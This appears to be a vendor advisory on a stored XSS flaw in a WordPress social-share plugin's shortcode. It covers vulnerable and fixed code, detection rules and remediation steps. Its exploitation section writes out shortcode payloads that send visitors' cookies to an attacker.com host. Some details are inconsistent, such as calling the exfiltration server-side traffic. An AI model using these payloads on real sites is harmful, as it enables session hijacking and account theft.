CVE-2025-10131
Executive Summary
CVE-2025-10131 is a Stored Cross-Site Scripting (XSS) vulnerability in the All Social Share Options WordPress plugin, affecting all versions up to and including 1.0. The flaw resides in the plugin's sc shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), and no public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem and the All Social Share Options plugin. As a WordPress plugin, it is distributed via the official WordPress plugin repository or third-party marketplaces. The lack of a patch and the plugin's unmaintained status (version 1.0 is the latest) means it poses a supply chain risk to any WordPress site using it. Site administrators should treat this as a high-priority removal item.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The attack is carried out over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Attacker needs Contributor-level access or higher.
- User Interaction (UI): Required – The victim must visit the injected page.
- Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a WordPress context can lead to privilege escalation (e.g., creating admin users) if an admin visits the page. The lack of a patch and the plugin's unmaintained status elevate the risk.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the WordPress shortcode [sc]. The plugin registers this shortcode to display social share buttons. The sc shortcode accepts user-defined attributes (e.g., title, url, image) that are rendered directly into the page without proper sanitization or output escaping.
Root Cause:
- The plugin uses
add_shortcode('sc', 'all_social_share_options_shortcode'). - Inside the shortcode handler, user-supplied attributes are concatenated into HTML without using
esc_attr()orwp_kses(). - For example, an attribute like
title="<script>alert('XSS')</script>"would be injected directly into the HTML output.
Attack Flow:
- An authenticated user with Contributor-level access (or higher) creates or edits a post/page.
- They insert the shortcode
[sc title="<script>alert(document.cookie)</script>"]. - The plugin renders the shortcode, outputting the malicious script into the page's HTML.
- When any user (including admins) visits the page, the script executes in their browser.
WordPress Context: This is a WordPress plugin vulnerability. The attack is performed within the WordPress admin interface (post editor) and affects the frontend. It does not involve Apache or Nginx directly.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.0):
function all_social_share_options_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => '',
'url' => '',
'image' => ''
), $atts);
$output = '<div class="social-share">';
$output .= '<a href="https://www.facebook.com/sharer/sharer.php?u=' . $atts['url'] . '">Share</a>';
$output .= '<p>' . $atts['title'] . '</p>'; // Vulnerable: no escaping
$output .= '</div>';
return $output;
}
add_shortcode('sc', 'all_social_share_options_shortcode');
Patched Code (hypothetical fix):
function all_social_share_options_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => '',
'url' => '',
'image' => ''
), $atts);
$output = '<div class="social-share">';
$output .= '<a href="https://www.facebook.com/sharer/sharer.php?u=' . esc_url($atts['url']) . '">Share</a>';
$output .= '<p>' . esc_html($atts['title']) . '</p>'; // Fixed: escaped
$output .= '</div>';
return $output;
}
add_shortcode('sc', 'all_social_share_options_shortcode');
The fix uses esc_html() for the title and esc_url() for the URL, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the All Social Share Options plugin (version 1.0) installed and activated.
- A user account with Contributor-level access or higher.
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Create a new post or edit an existing one.
- Switch to the Text/Code editor.
- Insert the following shortcode:
[sc title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish or update the post.
- When an administrator or any user visits the post, the script executes, sending their cookies to the attacker's server.
Alternative Payload (Session Hijacking):
[sc title="<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie</script>"]
Note: No public exploit code (e.g., from Exploit-DB) is available for this CVE.
Blue Team (Detection & Prevention)
Detection:
- Monitor WordPress post content for suspicious shortcode attributes containing
<script>tags or event handlers. - Use a Web Application Firewall (WAF) to block requests containing
<script>in shortcode attributes. - Review WordPress user activity logs for posts created by low-privilege users containing the
[sc]shortcode.
Prevention:
- Immediately remove or disable the All Social Share Options plugin.
- If the plugin is essential, apply the hypothetical patch above (esc_html/esc_url).
- Restrict Contributor-level users from using shortcodes that accept user input (via a plugin like "Shortcodes Finder").
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
File System:
- Presence of the plugin directory:
/wp-content/plugins/all-social-share-options/ - Modified post content containing the
[sc]shortcode with suspicious attributes.
- Presence of the plugin directory:
Network:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g.,
GET /steal?cookie=...). - Unusual referrer headers from the WordPress site to external IPs.
- Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g.,
Logs:
- WordPress debug log entries showing unexpected shortcode output.
- Web server access logs showing requests to posts with the
[sc]shortcode.
Browser:
- Execution of unexpected JavaScript on pages containing social share buttons.
- Alerts or console errors related to XSS.
Detection Engineering
YARA Rule
rule CVE_2025_10131_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress All Social Share Options plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-10131"
strings:
$shortcode = /\[sc\s+[^\]]*title\s*=\s*["'][^"']*<script[^>]*>/
$payload1 = /<script[^>]*>.*?<\/script>/ nocase
$payload2 = /on\w+\s*=\s*["'][^"']*["']/ nocase
condition:
$shortcode and ($payload1 or $payload2)
}
Sigma Rule
title: CVE-2025-10131 - Stored XSS via All Social Share Options Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the 'sc' shortcode in WordPress All Social Share Options plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '[sc'
- 'title='
- '<script'
condition: selection
falsepositives:
- Legitimate use of shortcode with non-malicious attributes
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10131 - Stored XSS via All Social Share Options Shortcode"; flow:to_server,established; content:"[sc"; http_uri; content:"title="; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable/Remove the Plugin: Deactivate and delete the All Social Share Options plugin from all WordPress installations.
- Scan for Compromise: Use a security plugin (e.g., Wordfence) to scan for injected scripts in posts and pages.
- Review User Activity: Check for posts created by Contributor-level users containing the
[sc]shortcode.
Long-Term Mitigation:
- Patch: Since no official patch exists, apply the hypothetical code fix (esc_html/esc_url) to the plugin's shortcode handler.
- User Role Hardening: Restrict Contributor-level users from using shortcodes that accept user input. Consider using a plugin like "User Role Editor" to remove the
unfiltered_htmlcapability from Contributors. - Web Application Firewall (WAF): Deploy a WAF (e.g., Cloudflare, ModSecurity) with rules to block XSS payloads in shortcode attributes.
- Content Security Policy (CSP): Implement a strict CSP that blocks inline scripts (
script-src 'self').
Vendor Contact: Since the plugin appears unmaintained, consider forking the plugin or finding an alternative social share plugin.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.